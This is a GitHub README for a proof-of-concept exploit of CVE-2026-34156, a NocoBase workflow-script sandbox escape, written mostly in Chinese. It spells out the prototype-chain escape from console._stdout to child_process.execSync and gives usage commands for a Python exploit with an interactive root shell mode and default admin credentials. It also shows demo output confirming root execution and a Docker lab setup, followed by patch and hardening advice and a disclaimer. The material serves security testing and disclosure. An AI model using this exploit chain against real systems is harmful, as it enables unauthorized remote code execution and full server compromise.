franckboumendil/CVE-2026-34156

GitHub: franckboumendil/CVE-2026-34156

该项目提供了一个针对 NocoBase 低版本沙箱逃逸漏洞的利用脚本,能够通过原型链遍历实现远程代码执行。

Stars: 0 | Forks: 0

# CVE-2026-34156 — NocoBase 沙箱逃逸导致 RCE ## 描述 NocoBase 的工作流脚本节点在 Node.js `vm` 沙箱中执行用户提供的 JavaScript。传递到沙箱上下文中的 `console` 对象通过 `console._stdout` 和 `console._stderr` 暴露了主机领域的 `WritableWorkerStdio` 流对象。 经过身份验证的攻击者可以遍历原型链以逃逸沙箱,并实现以 root 身份执行的远程代码执行(RCE)。 ## 漏洞详情 | 字段 | 值 | |---------------|----------------------------------------------------------------------| | CVE | CVE-2026-34156 | | GHSA | GHSA-px3p-vgh9-m57c | | 产品 | NocoBase | | 受影响版本 | <= 2.0.27 | | 修复版本 | 2.0.28 | | CVSS | 9.9 严重 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H) | | CWE | CWE-913 — 动态管理代码资源的控制不当 | | 需要身份验证 | 是(任何经过身份验证的用户) | ## 利用链 console._stdout → 主机领域 WritableWorkerStdio .constructor → WritableWorkerStdio 类 .constructor → 主机领域 Function()(沙箱外部) ('return process')() → 真实的 Node.js process 对象 .mainModule.require('child_process') → 不受限制的模块访问 .execSync('id') → 以 root 身份执行 RCE ## 环境要求 - Python 3.x - `requests` 库 ``` pip3 install requests ``` ## 使用方法 ``` \# Single command python3 exploit.py -t http://target:3000 -c "id" \# Interactive shell (default when no -c specified) python3 exploit.py -t http://target:3000 \# Custom credentials python3 exploit.py -t http://target:3000 -u user@example.com -p password -c "whoami" ``` 选项: -t, --target 目标 URL (例如 http://localhost:3000) -u, --username 用户名 (默认: admin@nocobase.com) -p, --password 密码 (默认: admin123) -c, --cmd 单条命令 (如果省略则为交互式 shell) ## 演示 ╔══════════════════════════════════════════════════════════════╗ ║ CVE-2026-34156 — NocoBase RCE PoC ║ ║ Sandbox Escape via console._stdout prototype chain ║ ║ Affected: <= 2.0.27 | Fixed: 2.0.28 ║ ╚══════════════════════════════════════════════════════════════╝ [] Target : http://localhost:3000 [] Username : admin@nocobase.com [+] Authentication successful — JWT: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9... [*] Checking RCE... [+] Output: uid=0(root) gid=0(root) groups=0(root) [*] Interactive shell mode (type 'exit' to quit) shell> whoami [+] Output: root ## 实验室环境搭建 (Docker) ``` \# Start vulnerable instance docker run -d \\ --name nocobase-vuln \\ -p 3000:80 \\ -e APP\_KEY=test-key \\ -e DB\_DIALECT=sqlite \\ nocobase/nocobase:2.0.26 \# Wait \~30 seconds then run the exploit python3 exploit.py -t http://localhost:3000 -c "id" ``` ## 修复建议 - 升级到 **NocoBase 2.0.28** 或更高版本 - 使用 `isolated-vm` 替换 Node.js `vm` 模块,以实现真正的 V8 隔离 - 不要将主机 `console` 对象传递到沙箱中 - 在 Docker 内以非 root 用户运行应用程序 - 将 `/api/flow_nodes:test` 限制为仅管理员角色 ## 参考资料 - [GitHub Advisory GHSA-px3p-vgh9-m57c](https://github.com/advisories/GHSA-px3p-vgh9-m57c) - [NocoBase Security Advisory](https://github.com/nocobase/nocobase/security/advisories/GHSA-px3p-vgh9-m57c) - [NVD CVE-2026-34156](https://nvd.nist.gov/vuln/detail/CVE-2026-34156) - **PoC 实现**: [Franck Boumendil] ## 免责声明 此 PoC **仅供教育和授权安全测试目的使用**。 仅对您拥有或已获得明确书面许可进行测试的系统使用。 未经授权访问计算机系统是非法的。作者不对误用承担任何责任。
标签:CISA项目, CMS安全, CVE-2026-34156, CWE-913, EXP, GNU通用公共许可证, Go语言工具, JavaScript, MITM代理, NocoBase, Node.js, POC, RCE, Root权限, vm2, Web安全, 原型链污染, 字符串匹配, 安全漏洞, 工作流脚本, 沙箱逃逸, 编程工具, 蓝队分析, 认证绕过, 请求拦截, 远程代码执行, 逆向工具